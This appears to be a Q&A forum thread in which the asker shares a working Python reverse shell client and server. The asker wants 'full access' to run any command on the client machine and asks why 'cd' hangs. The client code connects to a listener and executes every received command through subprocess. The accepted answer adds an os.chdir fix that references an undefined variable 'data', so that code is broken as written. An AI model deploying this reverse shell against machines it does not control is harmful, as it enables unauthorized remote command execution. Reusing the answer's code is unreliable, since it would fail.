Reverse Shell Command with Python command gets stuck when trying to change directory

Question

I am trying to get full access with full privileges with a reverse shell with python.

The connections get established, and I can do a command like "ipconfig" or "dir" (although sometimes I need to ask twice before getting a result for "dir" command.

However, when I try to change the directory with a "cd.." command, it gets stuck and does not return anything.

Here is my client file:

import socket
import subprocess
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 
    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()

Here is my server file:

import socket
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
while True:
    command = input("Enter the command you wanna execute:")
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    else:
        results = client_socket.recv(1024).decode()
        print(results)
client_socket.close()
s.close()

Here is what I get and where it gets stuck:

Listening as 192.168.1.81:5003 ...
192.168.1.81:52553 Connected!
 Enter the command you wanna execute:dir
 Volume in drive C is Windows
 Volume Serial Number is 7E4C-AD89

 Directory of C:\Users\CobraCommander\PycharmProjects\Nuke

10/11/2020  08:45 AM    <DIR>          .
10/11/2020  08:45 AM    <DIR>          ..
10/11/2020  08:44 AM    <DIR>          .idea
10/11/2020  12:40 AM                 0 Client.py
10/11/2020  08:45 AM               569 my_client.py
10/11/2020  12:40 AM               885 my_server.py
               3 File(s)          1,454 bytes
               3 Dir(s)  46,585,339,904 bytes free
Enter the command you wanna execute:cd..

# It gets stuck here, it does not return anything.

How do I get full access to the client and do any possible command?

Answer 1

Solved by using "os" library in the client file with the "os.chdir" method like so:

import socket
import subprocess

import os # Import this library

SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    command = s.recv(1024).decode() 

    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"

    if command.lower() == "exit":
        break
    else:
        output = subprocess.getoutput(command)
        s.send(output.encode())
s.close()